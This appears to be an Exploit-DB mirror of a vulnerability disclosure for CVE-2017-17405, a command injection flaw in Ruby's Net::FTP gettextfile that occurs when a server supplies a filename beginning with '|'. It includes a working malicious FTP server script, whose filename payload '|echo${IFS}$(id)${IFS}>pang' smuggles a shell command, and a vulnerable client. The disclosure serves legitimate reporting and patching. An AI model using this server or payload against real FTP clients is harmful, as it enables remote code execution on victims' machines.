扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
While using NET::Ftp I realised you could get command execution through "malicious" file names. The problem lies in the <code>gettextfile(remotefile, localfile = File.basename(remotefile))</code> method. When looking at the source code, you'll note: </code><code> def gettextfile(remotefile, localfile = File.basename(remotefile), &block) # :yield: line f = nil result = nil if localfile f = open(localfile, "w") # Vulnerable code here. open("| os command","w") elsif !block_given? result = String.new end </code><code> The <code>localfile</code> value will trigger command execution if the value is <code>| os command</code>. In general use, most users would likely provide their own localfile value and would not rely on the default of <code>File.basename(remotefile)</code>; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either <code>ls -l</code> style for the <code>LIST</code> command, or filenames for <code>NLIST</code>), there is no need/guarantee that filename will be a valid filename. I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable. ## Usage: Change the <code>host</code> and <code>port</code> values in both //ftpserver.rb// and //client.rb// Start the server: <code>ruby ftpserver.rb Run the client: <code>ruby client.rb Observe that a new file has been created in the CWD of the //client.rb//. The file will be called <code>pang</code> and contain the output of the <code>id</code> command. As seen in screenshot1.png The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use <code>open</code> in NET::Ftp, but rather something like <code>File.open</code>, maintaining both expected behaviour and security. ## Impact Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths. --cilent.rb-- </code><code> require 'net/ftp' host = '172.17.0.4' port = 2121 Net::FTP.const_set('FTP_PORT',port) Net::FTP.open(host) do |ftp| ftp.login fileList = ftp.nlst('*') fileList.each do |file| ftp.gettextfile(file) end end </code><code> --cilent.rb-- - - - --ftpserv.rb-- </code><code> require 'socket' host = '172.17.0.4' port = 2121 hostsplit = host.tr('.',',') server = TCPServer.new port loop do Thread.start(server.accept) do |client| client.puts "220 Attack FTP\r\n" r = client.gets puts r client.puts "331 password please - version check\r\n" r = client.gets puts r client.puts "230 User logged in\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r wait = true psv = Thread.new do pserver = TCPServer.new 23461 Thread.start(pserver.accept) do |pclient| while wait do end pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n" pclient.close end end sleep 1 client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n" r = client.gets puts r psv.join client.puts "150 Here comes the directory listing.\r\n" wait = false client.puts "226 Directory send OK.\r\n" r = client.gets puts r client.puts "221 goodbye\r\n" client.close end end </code><code> --ftpserv.rb-- - - - E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/ E-DB Nte: https://hackerone.com/reports/294462 |
体验盒子
